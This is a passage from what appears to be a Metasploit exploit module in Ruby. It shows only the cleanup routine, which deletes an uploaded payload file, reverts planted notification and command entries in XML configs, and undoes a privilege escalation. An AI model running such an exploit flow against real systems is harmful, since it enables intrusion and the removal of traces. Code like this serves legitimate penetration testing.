        print_error("Failed to delete the payload file #{@payload_file_name}. Manual cleanup is required.")
        return
      end

      vprint_good("Successfully deleted the payload file #{@payload_file_name}")
    end

    # Delete the notification
    revert_xml_config_file(notifications_file, 'notifications', 'notification', @notification_name) if @notification_name.present?

    # Delete the destination path
    revert_xml_config_file(destination_paths_file, 'destinationPaths', 'path', @destination_path_name) if @destination_path_name.present?

    # Delete the notification command
    revert_xml_config_file(notification_commands_file, 'notification-commands', 'command', @notification_command_name) if @notification_command_name.present?

    # Update the configuration changes we made
    success, message = update_configuration('cleanup')
    if success
      vprint_status(message)
    else
      print_error(message)
    end

    # Revert the privilege escalation if necessary
    if @role_to_add.present?
      success, message = escalate_or_deescalate_privs(deescalate: true)
      if success
        vprint_status(message)
      else
        print_error(message)
      end
    end
  end
end